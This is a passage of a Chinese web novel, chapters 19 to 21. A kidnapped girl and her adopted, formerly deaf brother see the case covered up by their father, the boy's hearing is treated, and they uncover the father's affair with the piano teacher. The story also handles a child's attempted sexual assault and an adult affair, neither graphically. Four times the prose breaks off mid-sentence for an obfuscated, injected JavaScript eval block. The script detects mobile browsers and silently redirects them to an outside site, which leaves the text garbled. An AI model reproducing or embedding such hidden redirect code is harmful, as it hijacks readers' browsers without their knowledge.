想到这里,她不假思索,脱口而出:“那群流氓,还扒了我裤子。” 易伍的控诉,像一枚鱼雷在深海引爆,让事情的定性变得更为复杂。 离得近的几个警员皱着眉头诧异地看了过来,然后立马被孟旭爸招呼到一旁抽烟。接烟的时候,他们点头哈腰,一口一个谢谢孟总。 从进门起一直无视她的易国昌,用满是灰尘的手捂住了易伍的嘴:“小女娃家家,乱吵吵什么!” 而后他压低了声音,几乎贴着她的耳朵咬牙切齿,“你觉得很光彩,啊?这种丑事传出去,你将来怎么嫁人?你这个孩子,怎么都没点羞耻心!” “羞耻心?”易伍掰开了他的手,忍着痛打直身体,然后漠然地摇了摇头,“我没有那种东西。你怎么不去问问,那些人有没有羞耻心?” 她无视易国昌的警告,声音响亮如同洪钟:“从前别人要扒我裤子,你说是同学之间开玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996667|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。这次真扒了,你还说是玩笑?” 她的声音提高八度,冲着几个正在抽烟的警员:“警察叔叔,你们觉得好笑吗?” 屈辱、不甘、痛苦一股脑全涌了上来,冲进她小小的胸膛,像台风过境。 有眼泪在眼尾悬着,她竭力克制不落下,不愿在这群坏蛋面前展露一丝一毫的软弱——直到一个人从背后紧紧抱住了她。 * 熟悉的体温,熟悉的气息。像小时候打雷时钻进棉被,在潮湿混乱中寻找唯一的安定。 易伍伏在季宁肩头,他正背着她一步步往家走。脚步不快,却稳如磐石。 刚刚发生的一切像是一场梦。 缩在季宁背上时,下腹的痛意像是被揉进了一片温热云团里,缓慢却坚定地被抚平。 她不知道哥哥哪来的力气,一路背着她走了那么远,连呼吸都不曾乱过。 他们没有说话,直到易伍的眼泪悄然滑落,顺着季宁的颈侧,一滴滴滑入他的衣领。 季宁微微一颤,一下就慌了神。 他手足无措地停下脚步,抱着她走到小区花坛的一角,小心翼翼将她放下,然后笨拙地抬手给她擦眼泪。 然后,他手上的口子被扯开,血和泪混在一起,糊了易伍满脸。 “对、不、起......”他低声呢喃,急忙抬起袖子。可看了看袖子上早已结痂的血渍,只能又僵硬地放下了手。 易伍从兜里掏出一张餐巾纸,想包住季宁手上那道触目惊心的伤口。 可她刚靠近,季宁却反手握住了她的手腕。 “别。”他的声音低哑,带着一丝不安。 下一秒,那张雪白的餐巾纸被他拿走,轻轻覆在了她的脸上。 他的手指有些抖,却极其小心地擦去了她脸上的鼻涕与眼泪。 然后,他从兜里掏出了一颗话梅糖。 糖纸已经有些皱巴,但仍然反射着五彩的光。他用餐巾纸把糖块包了一层,再小心捻起,轻轻送进易伍嘴里。 突然又变回那副小心翼翼、乖巧讨好的模样了。方才那如恶鬼般挥拳的狠劲,早就消失得无影无踪。 “咱们好像两个倒霉蛋。”易伍轻轻说着,手指摩挲着糖纸,两眼放空,“是不是只有倒霉蛋,才能找到另一个倒霉蛋?” * 几个小时前,季宁和欢欢一起狂奔到校门口时,脑袋里一片空白——那些人到底把妹妹带去了哪? 直到他瞥见欢欢脚边,有什么东西在夕阳映照下闪了一下,那种光泽他很熟悉,就像是...... 季宁猛地一颤。 他弯下腰,小心拾起。 手心里,话梅糖正反射出镭射般五彩斑斓的光。 易伍的声音还在耳边:“这个糖特别漂亮,亮闪闪的。” 是妹妹故意留下的! 他和欢欢迅速找寻着一颗颗糖掉落的位置,沿着掉落的轨迹一路狂奔。 直到追到那片荒废的破旧厂房。 “你、叫、警察!”季宁急匆匆就要往里冲。 欢欢一把拉住了他:“你呢?不要自己去,很危险!跟我回去,我们一起叫警察!” 可季宁没有犹豫,哪怕一秒都没有。 他猛地挣脱掉了欢欢的手。 19. 一次妥协 “为什么、放过、他们?” 季宁在花坛前半蹲,路灯将他的影子拉得细长、斜斜铺在青砖地上。他长长的睫毛上下扑扇着,犹疑了几次,最后还是问了出来。 刚刚,在警察面前,易伍大声控诉,眼泪就要夺眶而出——可季宁从身后抱住了她。 他没办法不磕巴地说话,便只能用肢体语言表达:我在,做你想做的事。 但易伍最终选择放过。 “嗯......这种事情,不好。”易伍盯着季宁的眼睛,低声回答,“我是女孩子。我不想闹大。” “别、怕。”季宁顿了顿,声音有些发紧,却带着从未有过的笃定,“我会、让他们、闭嘴。” 若是以前,易伍肯定以为季宁在吹牛。可现在…… 他手上未干的血迹正在提示她,刚刚到底发生了什么。 疑问在易伍心头生根发芽,疯长成一丛乱藤。 季宁的信仰,允许他这么做么? 妈妈告诉她,人若有了信仰,就要避免杀生,不见血腥。要守清净、存慈悲。 季宁就是那样的人。 来到易家后,他仍然吃素。哪怕面对院里的一只蚂蚁,他都会小心绕过。每天放学后,他对着佛像合十诵经,晨钟暮鼓,日复一日,从不懈怠。 可同样是他,今天把人打得满脸血污...... 太矛盾了。 一边想着,手指下意识地搅在了一起—— 她确实说了谎。 长大后的易伍回首过去,她的人生好像从来没有妥协投降,只有鱼死网破。 易国昌用来威胁的话只让她觉得好笑。 嫁不出去?就因为被人脱了裤子? 如果这世界真要拿婚姻当幌子,名节当枷锁,那她宁愿这一生都像浪里浮萍,做个自由人,不嫁、不依、不俯首。 她会拿着大喇叭,把真相吼出来,吼到所有人都听见;把那群畜生一个个扯出来,吼到他们再无藏身之处;吼到孟旭他爸那张满是笑意的老脸再也罩不住那烂泥一样的儿子。 小小的她已经准备开口,将事情的始末讲给警察听——在背后撑住她的季宁,让她的勇气翻倍。 可就在这时,她灵敏的耳朵却捕捉到了远处几个人的窃窃私语。 “这案子牵扯到孟总儿子,不好办啊。这么小,就雇人绑架同学,还差点把人小女娃给......哎。” “嘘,别说了......咱小兵一个,说话可得注意啊,最好谁都别得罪,回去报上去,让头儿做主。” “哎,孟总岳父是咱大领导......头儿这次真碰上个烫手山芋,大水冲了龙王庙.......孟总儿子这年纪吧,去不了少管所,顶多强制训诫了。” “除非......私下和解。毕竟没造成实质伤害嘛,这性质,就可大可小。你说现在小孩怎么都这么极端啊?一个吧,胆大包天敢绑架同学。另一个吧,小萝卜头,居然把一群混混打得满地找牙......” “啧啧,就刚那男孩,是小姑娘的哥哥吧?才十岁?这么狠,废了好几个人,估计也要送劳教吧?” “不知道啊,反正书肯定没法读了,谁敢和这样的做同学啊?家长知道了肯定要闹的。大概啊,是要转特殊学校了。” 听到这儿,易伍本来熊熊燃烧的复仇火苗,灭了。 把这些人抓起来,代价是季宁也跟着一起。 特殊学校?什么特殊学校?把一个又聋又哑的男孩扔进去,让他自生自灭的地方吗? 她打了个寒战。 如果说,易伍也有信仰,那她信仰的,便是冷硬的报复哲学:以牙还牙、以眼还眼.......以及,以恩报恩。 谷佳慧从小便教育她,不能白占别人的好,滴水之恩涌泉相报,一分一毫都得加倍还回去。 她绝不能看着季宁被送进那种鬼地方! 人生中第一次,易伍学会了“妥协”。 她没有再说真相,也没有哭,只是沉默。 易国昌和孟旭爸趁机对她循循善诱。对于他们提出的每一个诱导性问题,她都木讷地点头。 他们是狡猾聪明的舵手,很快就把船驶向它该去的地方——平息风波、互利共赢。 只有季宁,瞪大了眼,望着她,一脸的不可置信。 但这种困惑,也只在他眼中一闪而过。 下一秒,他就重新低下了头,默默接受了一切。 他选择站在她身后,便意味着,她要吼破天,他会跟她一起吼;她要咬牙沉默,他也会闭紧嘴巴。 因为那是她的选择,而他,无条件相信她的选择。 在孟旭他爸的积极运作下,这场“绑架案”最终轻拿轻放、草草了结。 事情最后定性,一群未成年课后相约在废弃工厂玩游戏,其间因为争执引发斗殴。受害方大度,既往不咎。 总之,不是民事案件,更够不上刑事案件的边。 在场的人都很满意。 孟旭爸和易国昌当场交换了名片。一个赔罪、一个推让,推来让去之间,关系突飞猛进。 “孟哥,咱换个场子继续聊?咱哥俩今儿真一见如故,还好有小孩子这事儿,这才叫不打不相识啊。”易国昌声线谄媚。 “惭愧啊老弟,我教子无方,让令爱受惊了。”孟旭爸用手绢拭汗。 “诶,话不能这么说。”易国昌拍着大腿,笑得像捡了金子,“我家虽说是个女娃,但混着呢。还有她哥护着,半点亏没吃着。一定是她在学校里得罪了令公子!” 说完,易国昌转身吩咐季宁,“你带着妹妹先回家。爸爸还有事。今天发生的一切,记住了,别对任何人说一个字,明白了吗?” 季宁梗着脖子,平视前方,没有回答。 直到,他听见身侧的易伍一声轻轻的“疼”,这才微微一颤,咬着下唇点了点头。 风从街巷那头吹来,带着盛夏将尽的气息。满地碎玻璃、糖纸、破布、还有未出口的真相,纷纷扬扬,落了一地。 * 季宁背着易伍回到家。 空荡荡的房间里,只剩保姆阿姨一人。 “阿姨,我妈呢?”易伍声音虚弱。 “哦哟我的小祖宗啊!你把太太吓坏了!她听说你被人绑架,直接晕了,就......就送医院了。你别急,我现在给司机打电话,接她回来啊。” 季宁迈进易伍卧室,走到床边才将她小心翼翼地放下。 给她脱了鞋盖好被,开了床头那盏暖黄的小夜灯,又拿了她平常抱着睡的阿贝贝。 做完这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996668|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切,他目不转睛地盯着她,好像才从失而复得的动荡心情中回过神来。 易伍额前的刘海垂下,挡住了一半的眼睛。突然,他心里升起了一种强烈的冲动,想伸手,将它轻轻拂开。 但最终,他收回了手。 沉默了片刻,躺下的易伍勾了他小指:“哥,能留下来陪我吗?陪我等妈妈回来,可以吗?” 季宁点了点头。 他们依偎在床头,肩膀贴着肩膀,头发轻轻蹭着头发,像惊涛骇浪后两只受伤的海鸥。 世界在他们之外,嘈杂又遥远,而屋内只剩下这一盏灯,以及......彼此的心跳声。 这一天,发生了太多事,可稀奇的是,到最后,竟又好像什么也没发生。 易伍觉得眼皮打架,她睁着迷迷瞪瞪的眼,轻声说:“你说你不喜欢打架。骗人。” 季宁握住她的手:“你、说、什么?” 可易伍没有回答。 呼吸平稳,心跳同步。敌不过困倦,他们沉沉睡去,直到—— 一声尖锐的女高音,划破了寂静的夜空。 季宁从浅眠中迅速惊醒。下一秒,他条件反射地捂住了易伍的耳朵。 很久未爆发的剧烈争吵再一次上演。 “你他妈也算个人?居然和绑了你女儿的人渣一起吃饭喝酒?!” “吵什么?!吵到左邻右舍全部听到就好了?你以为是什么光彩的事吗?”易国昌带着酒气,语气很是烦躁。 “他们猪狗不如,侵犯幼女未遂!!你居然选择和解?!还和人渣勾肩搭背称兄道弟?我现在就去砍了他们!” 谷佳慧猛地冲进厨房,抽出了一把砍刀。 “疯了你?!”易国昌大骂,冲上去将她死死拖住,“孟家那孩子全招了,说他只想找人把佑弟打一顿,后来那群流氓扒她裤子,他压根不知道!” 他强行压低声音,“再说了,佑弟不是啥事都没有吗?你再这么喊,喊到最后人人都以为她有事,你还想不想她上学,想不想她将来正常嫁人?” “呵呵,你搁这儿装什么慈父?你有真的考虑过她?还不是为了巴结姓孟的!看别人平时懒得搭理你,这次好不容易抓紧机会往上蹭。卖女求荣,你是独一份啊易国昌!” “她是我女儿,从头到脚都属于我,我还用卖?” 易国昌鼻子里哼了一声,“你想要正义?那今天拿到的,只能是最差的结果!孟旭这么小,少管所都不用去,还有家里撑腰,他能有什么事?反而是我们,孟家得罪了,佑弟清白毁了,季宁还有可能被抓去劳教......伤敌为零,自损一万!你支付得起吗,正义的价格?” 谷佳慧愣住了。 易国昌懒散地靠在沙发上:“现在,孟家全面封锁消息,没人知道发生了什么。佑弟也就受了点惊吓,她和季宁都可以继续上学。我卖孟家这个人情,以后他们少不了给我资源。还有那些混混,都会被处理干净。至于孟旭......借他八百个胆,你看他以后还敢靠近佑弟不?” 谷佳慧没说话。 下一秒—— “砰!”她扬手砸碎了沙发边那个上万的花瓶。 “这就是最好的结果。”易国昌扫了眼花瓶碎片,然后缓缓抽掉了她手上的刀,“你不傻,你清楚得很。” 20. 一派气功 直到外面乒乒乓乓的声音彻底停歇,季宁才松开了紧捂住她耳朵的手。 易伍眨了眨眼,很配合地装傻:“他们在吵什么?” 季宁摇了摇头。 被这么一闹,睡意彻底消散,两人睁着猫头鹰似的眼睛,你看看我,我看看你。 索性,易伍鲤鱼打挺起了身,“啪”地一声按亮大灯,一屁股坐到了书桌旁。 白炽光明晃晃地照下来,把她整张脸照得一清二楚。白净的皮肤上,细细的绒毛泛着软光,竟像极了刚从枝头摘下,还带着晨露的桃子。 季宁目不转睛地看着她写写画画,眼神像被磁铁钉住了。心跳忽然变得不受控制,哒哒乱撞。 终于,易伍收了笔,把刚画好的东西递给了他。 画上,两个小孩并肩而立。其中一个,戴着个很别致的面具——左半边脸被面具完全覆盖,只露出清隽干净的右脸。 “这个是你。”易伍用铅笔头戳了戳戴着面具的男孩,“你看过《美少女战士》吗?哥,你有点像里面那个,夜礼服假面。” 夜.......什么?季宁愣住,脑袋里爬满问号。 但还没来得及发问,易伍忽然往前凑了一步,呼吸擦过他的面颊。 然后,她突然抬手,轻轻抚上了他额头的胎记——那团从他记事起就跟着他的暗青色痕迹,如影随形的旧烙印。 她的指腹温热,带着微汗,却异常轻柔,像羽毛一样拂过。 季宁浑身一僵,身体本能地往后缩了一下,可易伍却一把拉住了他。 “所以这个......”她的指尖描摹着胎记的轮廓,语气十分认真,“其实是骑士才有的面具,你知道吗?” 季宁怔住了。 灯光在易伍的瞳孔中点出一圈亮光,像夜空里忽然亮起的星。 他抿了抿唇,像有什么热气从胸膛一路窜上喉口,心里也像被什么点燃了一样,烧得发烫。 好在,易伍的手,很快就回到了画上:“那,旁边这个就是我啦。” 干净利落的短发,雌雄莫辨的英气。 “为什么、留短发?”季宁的手珍重地抚过画上的脸,动作轻得像在触碰什么不可亵渎的圣物。 “因为......”易伍垂下了头,声音也轻了,“爸爸只喜欢男孩。我总想,我要是个男孩就好了。这样,他们是不是就不吵了?他就会对妈妈好一点,妈妈也就不会这么难过了。” 凌晨两点,万籁俱静。 她说得太轻太淡了,可季宁感到心脏像被什么抽了一下,随后猛地收紧。 在寺庙的那些年,他的情绪,就像一块静卧在溪流中的石头。晨钟暮鼓教会了他沉静、克制和忍耐。 可现在,“难过”这种陌生的情绪袭来,灌进他的心口,杀得他措手不及。 “但是没有用。”易伍摇了摇头,“变成男孩之后,好像更糟了。同学们说我是妖怪,他们扒我裤子,我打了回去。明明打赢了,回来却被爸爸揍了一顿......后来有段时间,我看学校里的每个人,总觉得他们都在盯着我,想扒我裤子。” 她的声音越来越小,最后近乎喃喃自语:“然后你来了......之前我总一个人。吃饭、课间、放学,都是一个人。直到你来,我才知道.......原来一个人,是可以被另一个人牵着走的。” 这次轮到季宁哭了。 他哭的时候没有声音,垂着头,和平时一样安静,只有肩膀轻轻抖动着。 一滴泪准确无误地砸到了画上。 “你别可怜我。”易伍赶忙说,“拜托了。” 季宁摇了摇头——不是可怜。 可怜带着种高高在上的傲慢。 可究竟是什么情绪,以他当时的阅历,说不上来。 直到长大后,他偶然看到某个话剧里的一段话:“在我们的一生中,遇到爱,遇到性,都不稀罕,稀罕的是遇到了解。”* 他恍然大悟。 人生中第一次流泪,是因为自己心底的某份孤独,意外和易伍撞了个满怀。 残疾带来的自卑让他强烈共情到易伍的痛苦。他们俩,都因生而有之、无法改变的原因,付出了残酷的代价。 恶劣的生存环境催生出过度早熟的孩子——哪怕拼命修剪自己削足适履,极尽可能的柔顺乖巧,也依然是拼图里强行凿入的那一块,命运将他们从“正常”的人群中剥离出去。 那个情感共鸣的瞬间,两颗孤独徘徊在广袤宇宙的中子星,沿着螺旋轨道逐渐靠近,最后猛地碰撞在一处,罕见又剧烈。 这就是当时他所感受到的一切。 人一旦开始哭,就很难停下来。季宁把脸埋进易伍递来的纸巾里,肩膀耸动,但依旧没有发出声音。 “我真的没事。”易伍轻轻拍了拍他,“之前我总怕被人扒裤子......可你看,今天真的发生了,我反而不怕了。我只有一个念头:我不要做男孩了,我就是女孩!要让他们瞧瞧女孩的厉害!” 她笑了:“正想着呢,你就像夜礼服假面一样,从天而降,还把他们全部打趴了,真的超级帅!所以......我更不怕了。” 她伸出小指,勾住季宁的,眼睛很亮,“因为现在......我有哥哥啦!” * 季宁终于把埋着的头抬了起来,眼圈全红,他艰难地扬了扬嘴唇:“对、你说的、都对。” “那你能不能告诉我,你是从哪里学来的打架?为什么之前那些男生欺负你,你不打回去?” “之前、不、生气。可今天、生气。非常、生气!眼睛、鼻子、耳朵、脑袋、全在痛。我、控制不住。” 季宁一字一顿说得艰难,拳头紧握,指节泛白。 易伍瞪大了眼,像终于明白了什么了不起的秘密:“这么生气!难道......这就是传说中的——气功?” 季宁没忍住,破涕为笑。 一灯如豆。借着这个机会,季宁毫无保留,断断续续地,把他在寺庙里的生活,教会他拳脚的奇人师父,他种下的树,一点一滴全部告诉了易伍。 “有机会、我带你、回去。师父、他、肯定、很喜欢、你。”季宁摸了摸后脑勺,突然感到有些难为情。 “好,我们拉勾!”易伍从椅子上一跃而起,“还有还有......你教我打架吧!你这么厉害,我也不赖,以后我们打遍天下,谁也不怕,好不好?” 说完她伸出拇指,弯了两下,“我还想跟你学手语。这个是谢谢,对吧?” * 两个孩子一有时间就黏一起,焦不离孟。 易伍跟着季宁学功夫,一招一式都打得虎虎生风。不多久,手语的日常会话,她也基本掌握了。 绑架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996669|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事件后,谷佳慧对季宁心存感激,没再提出将他赶走。 只有易国昌望向两个孩子的眼神幽深,情绪复杂。 上次在工厂,别说是警察,他都吓了一大跳。 看到季宁爆发出的能量,他心有余悸,可明面上又没法表露,毕竟他是为了救妹妹。 这孩子和他当初设想的,不太一样。另外,谷佳慧的肚子仍然没有动静。他开始怀疑,之前命理大师说的到底靠不靠谱。 但很快,他便没有时间再去想这些了。 背靠大树好乘凉。在孟旭爸的引荐下,易国昌接连拿下好几个大单,还拓展了新的社交圈。在圈内人的启发下,他迈出国门,成为了当时第一批吃螃蟹的外贸人。 新工厂正紧锣密鼓地筹备着。因为要跟国外联系,易国昌不惜花重金,在家和公司都配备了当时十分先进的奔腾电脑。每天对着厚重的CRT屏幕,与世界各地的客户你来我往、询盘报价。 中国纺织品以价廉物美著称,交期又短,如一匹黑马横扫国际市场。 易伍每次进易国昌的办公间给他送水果,总会按照谷佳慧的吩咐,乖巧地说上一句:“爸爸辛苦了。”可眼神总忍不住扫来扫去。 终于有天,偷摸了电脑键盘的易伍问谷佳慧:“妈妈,你可以教我用电脑吗?” 谷佳慧对女儿想学新东西的要求向来是来者不拒。她买来书,自学了教程,开始磕磕巴巴教易伍使用windows系统,以及五笔打字。 等易伍稍微熟悉了操作系统,谷佳慧又一边自学,一边教她上网。 电话线拨号上网,费用贵得惊人,但谷佳慧连眼皮都不眨一下。 易伍人机灵,学什么都快,用五笔打字的手速已经超过谷佳慧了。 这天,她鼓起勇气,在网站的搜索栏里敲下几个字:“小孩耳朵听不清是为什么呢?” 滚动着鼠标,一条条对照着季宁的症状翻过去,直到两个字映入眼帘——“胶耳”。 晚饭时,谷佳慧给两个孩子夹好菜,温柔地看向易伍:“佑弟,你马上要过生日了,想要什么礼物呢?” 易伍沉默了片刻,小心翼翼地答:“我想......让哥哥去医院,看耳朵。” 燕城的医院全国最好。按照网上的说法,如果季宁真的是胶耳,说不定他的听力还能恢复呢? 季宁手上的筷子停了,望向她的眉睫闪动。 * 饭后,两个孩子在一个房间写暑假作业。 “你的、礼物,为什么、浪费、给我?”季宁低声问。 “才不浪费!”易伍鼓起腮帮,说得云淡风轻,“每次过生日,爸爸妈妈都会吵架。不管我要什么,他们都不会高兴的。不如留给你,爸爸可能还会觉得我懂事。” 季宁落寞地摇了摇头:“没、用的。师父、带我、看过......” 易伍没等他说完,便猛地掌住了他的肩膀:“医生也有可能犯错啊!让这里的医生再看看,好吗?” 临睡前,易伍刚进自己房间,就看到谷佳慧阴沉着脸站在床头。 “妈妈你生气了?”她上前扯了扯她的袖子。 “你善良,但这没有用!”谷佳慧嗓音愠怒,“带他去看,可以,当是还他个人情,但是到此为止,他永远也不可能是家里人,永远不会!” *廖一梅《柔软》 21. 一架钢琴 燕城拥有全国最好的耳鼻喉专家。 接诊的医生看了看手上的化验单,又抬头瞥了眼衣着光鲜的中年夫妻,忍不住责备起来:“胶耳要早点治啊,怎么这么晚才送过来?!这个影响语言发展的!” 直到得知这可怜孩子是收养的,他的态度才一百八十度大拐弯。 “你们夫妻俩,好人有好报。这孩子的耳朵还能治,放心吧。” 易国昌感激地握住了医生的手。 这些时,他确实咂摸出了些稀奇的地方:季宁可能真的自带财运。自从他来到家里,公司生意像突然搭上了快车道。工厂越做越大,工人越招越多。纺织品出口到欧美,天天爆单,忙到脚不点地,赚钱像开印钞机。 至于还没动静的二胎儿子,他宽慰自己,别太心急,上天的考验哪能这么容易通过呢?肯定是让他继续积德。 对季宁好,尤其要是能把他的耳朵治好,这德肯定就积上了。 * 易伍是一天天看着季宁好起来的。 她像个尽职尽责的护工,照顾着手术后的季宁。医嘱倒背如流,还把药物类别整理成表,贴在了冰箱上。类固醇、消炎剂、通气剂,她弄得门清。 渐渐地,她发现和季宁讲话,不需要扯着嗓子喊了,稍微大点声就行。 这天午后,窗外蝉鸣如织。 易伍如往常一样,端坐在钢琴前,手指上下翻飞,弹奏连贯有序。应付钢琴老师留下的作业让她兴致缺缺,觉得自己没什么音乐天赋,更谈不上多喜欢,但架不住谷佳慧疯狂,给她报了市面上几乎所有的兴趣班,钢琴更是请了四百块一小时央音的老师上门。 暑假像是被挤爆了的罐头,时间被切割以半小时计算。身在谷佳慧满腔期待的漩涡里,她没有说不的权利。 眼神放空,思绪游弋,手指机械,直到身边传来熟悉的声音。 “不、对。”季宁突然出现在了她身后,皱起眉头的样子像个成熟的大人。 “什么?”易伍跳下琴凳,满脸困惑。 “你刚刚,弹的,和昨天比,好多音,不对。这琴,是不是,坏了?”季宁蹲下身,上上下下检查着眼前的三角钢琴。 易伍愣了好久才反应过来,一蹦三尺高。 “不会吧,隔这么远你都能听见??就这个声音,你还能听出区别了?耳朵完全好了么?”她眨巴着眼,手毫不客气地伸向季宁圆润的耳朵,左揉揉右捏捏,最后还冲里面哈了口气。 季宁猛地向后一弹,耳尖通红:“小点,声。有点......吵。”说完,他露出了他俩相识以来最灿烂的笑容,“是的。我想,应该是,好了。” 他弯曲着大拇指,给易伍比了个温柔的谢谢:“多亏了、你。” 从前,他听易伍讲话,声音总忽近忽远时大时小,像是蒙了层看不见的油膜。 可现在,那脆生生的嗓音就在耳畔,每一个字都像刚从泉水里捞出来一样,清澈、干净、透明。 天籁也不过如此了。 “太好啦!我们一定要庆祝!我现在就......” “就把、今天的、曲子、练完。”季宁轻轻一按,将她按回琴凳。他嗓音平和,很有兄长的样子。 “哥,你怎么能比妈妈还严......”易伍嘟囔着,小声抱怨,但还是乖乖坐好。 可她越弹,季宁的眉头就锁得越紧。 “还是、不对。”他摇着头,“怎么、会呢......” “对啊,怎么会呢?昨天我也是这么弹的啊。”易伍又检查了遍琴谱,不明白季宁说的到底是哪里不对,“你耳朵刚好不久,是不是还不适应呢?” 季宁想了想:“也许、吧。” * 这天下午,年轻的央音老师如约来到家里。她温柔美丽,和蔼可亲,易伍非常喜欢她。 于是,她把季宁的话原封不动地转告给了这位老师。 “你哥哥还有这个本事呢?还能听出音不对?”年轻老师显然没有把一个孩子的话放在心上,“你上琴,我来听听。” 易伍还没弹上几句,就发现老师脸色骤变。 “停一下。好像......还真有点问题。”钢琴老师自己上琴又弹了次,确实很多音不太准。 她面容尴尬地问:“你哥哥有学过吗?” 易伍摇了摇头:“平常我练琴,他怕我无聊,就在旁边陪我,一边听我弹一边看书。他之前耳朵不大好,现在好多了。” “明天我帮你找个调音师过来看看。”老师用纸巾擦了擦汗,“你哥呢?把他也叫过来吧。” 年轻的老师对季宁充满好奇。 “基础的唱名你是知道的吧,学校里有教的?” 季宁点了点头。 “那你背过去,告诉我,我弹的是什么。” 老师从单音试起,季宁一一作答,每一个都准确无误。难度逐渐增加,双音,三音——直到最后,她一口气弹了六个叠音。 “domisoltidore”钢琴声刚停,季宁脱口而出。 老师难以置信地瞪大了眼。 * “哥哥现在耳朵特别灵!钢琴老师说他是有绝对音感的,一万个人里才出他这么一个!”这天晚饭的餐桌上,易伍绘声绘色地讲述着钢琴课上发生的事。 “太、夸张了。”季宁低头,把盘子里最后一点泥蒿夹给了易伍。 “妈妈,以后能不能让哥哥跟着我一起上课?”易伍央求着,把泥蒿又拨回了一半到季宁碗里。 谷佳慧恶狠狠地瞪了她一眼,她才乖乖住嘴低下了头。 “明天早上调音师会来家里,你们别出门了。”易国昌一边看着报纸,一边漫不经心地嘱咐。 “诶爸爸,您怎么知道钢琴坏了?我正准备说的。”易伍复又抬起头,“好奇怪啊,昨天我弹的时候明明好好的,怎么才一晚上,突然就坏了.......” “咳咳。”易国昌突然呛了口汤,剧烈咳嗽了几声,“你......你老师临走前告诉我的。” * 这天夜里,季宁翻来覆去怎么也睡不着。 他感觉自己像一台刚开机的收音机,捕捉着每一道来自世界的微小声波—— 墙角窸窣的虫鸣,地板下幽微的响动,窗外树叶互相摩挲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996670|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “沙沙”声,都像被放大了一百倍,在他耳膜上跳舞。 他从未觉得“听见”是一件如此奢侈又幸福的事。 突然想去阳台听听夜风的声音。 仲夏夜晚,蝉鸣如潮,青蛙低唱,晚风带着水汽吹拂耳廓,像是整个世界在耳边轻声絮语。 这些他只在课本里读到过。 说干就干。他拿起水杯,蹑手蹑脚地上楼。 可谁知——刚到楼梯转角,一道不属于夜色的声音将他猛地拽回现实。 那声音从阁楼传来,伴随着幽幽光线。 他好奇地倾身上前,才听了两秒就立即石化。 男人粗重的喘息,夹杂着女人断断续续的呻吟,低低的调笑声如针刺般直灌进他耳朵。 “让你不要靠钢琴上做,把钢琴都弄坏了!”女人娇嗔抱怨,“还好是我的熟人过来修,能找个理由糊弄过去,不然怎么解释呀。” “嘿嘿,那不是更有感觉吗?看你什么都没穿,靠在琴上,啧啧,勾人犯罪啊。” “死鬼,差点露馅。你那俩小孩可聪明了,这么小的音差都能听出来......今天他们可把我问得一身冷汗。” “怕什么,两小鬼屁都不懂,他们想破脑袋都不可能知道钢琴是怎么坏的,嘿嘿。” “哎,我还是有点怕。咱们声音再小点儿吧,我怕你老婆醒了上楼,直接把我推下去哦。为什么每次非要选在家里啊?” “因为最危险的地方最安全啊。在外面还有可能碰到熟人,这个阁楼,八百年没人上来。那婆娘神经衰弱得厉害,每天晚上不吃安眠药睡不着,我们早就分房了。两小鬼更是,睡熟了和猪一样。你就放八百个心吧。” “反正我是受够做贼了,你得对我负责!” “负责负责,绝对负责,让我再亲一口先。” 季宁脸色瞬间煞白,身体僵硬如石像。即使年龄尚小,还不完全懂大人的事,他也清楚感知到这里少儿不宜。 他心事重重地准备下楼,可脚步虚浮。一不小心,手上的玻璃杯突然滑落。 玻璃杯顺着木质楼梯一路滚了下去,在安静的客厅发出巨大而连贯的声响。 易伍从睡梦惊醒,第一反应是家里进贼了。她抄起床头的电棍冲了出去——自从被绑架后,季宁便给她买了折叠电棍,她几乎从不离身。 一出门就看到季宁愣在螺旋楼梯的最高处,端着张眉头紧锁的脸。 “哥,怎么是你,大晚上的你站那儿干嘛?”易伍说完,抬脚就准备上楼梯。 “停!不要上来!”季宁陡然提高了音量。 就在这时,身后阁楼门猛然“砰”地一声合上,两个凌乱的身影一闪而过。 夜晚光线不佳,可易伍还是分辨出来,衬衣纽扣全部错位的是易国昌,头发凌乱只穿了一件睡裙的人,居然是她温柔可人的....... 钢琴老师。 